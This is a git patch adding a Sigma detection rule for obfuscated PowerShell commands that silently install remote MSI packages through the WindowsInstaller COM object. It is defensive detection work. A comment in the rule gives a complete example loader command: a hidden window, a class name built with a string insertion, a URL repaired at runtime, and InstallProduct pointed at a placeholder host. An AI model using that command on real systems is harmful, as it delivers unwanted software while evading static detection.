From 8e4e286b0bd5b8a4d5fc05f20611b62f0fc342b3 Mon Sep 17 00:00:00 2001
From: vx3r <vx3r@127-0-0-1.fr>
Date: Wed, 4 Jun 2025 13:50:39 +0200
Subject: [PATCH] Merge PR #5436 from @vx3r - Obfuscated PowerShell MSI Install
 via WindowsInstaller COM

new: Obfuscated PowerShell MSI Install via WindowsInstaller COM

---------

Co-authored-by: Meroujan.Antonyan <meroujan.antonyan.external@axa.com>
Co-authored-by: Mohamed Ashraf <47338567+X-Junior@users.noreply.github.com>
---
 ..._creation_win_powershell_comobject_msi.yml | 45 +++++++++++++++++++
 1 file changed, 45 insertions(+)
 create mode 100644 rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml

diff --git a/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml b/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml
new file mode 100644
index 000000000..90b7223b4
--- /dev/null
+++ b/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml
@@ -0,0 +1,45 @@
+title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
+id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
+status: experimental
+description: |
+    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
+    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
+    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
+    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
+    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
+references:
+    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
+    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
+    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
+author: Meroujan Antonyan (vx3r)
+date: 2025-05-27
+tags:
+    - attack.defense-evasion
+    - attack.t1027.010
+    - attack.t1218.007
+    - attack.execution
+    - attack.t1059.001
+logsource:
+    category: process_creation
+    product: windows
+detection:
+    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
+    selection_img:
+        - Image|endswith:
+              - '\powershell_ise.exe'
+              - '\powershell.exe'
+              - '\pwsh.exe'
+        - OriginalFileName:
+              - 'PowerShell_ISE.EXE'
+              - 'PowerShell.EXE'
+              - 'pwsh.dll'
+    selection_cli:
+        CommandLine|contains|all:
+            - '-ComObject'
+            - 'InstallProduct('
+            - '.Insert('
+            - 'UILevel'
+    condition: all of selection_*
+falsepositives:
+    - Unknown
+level: high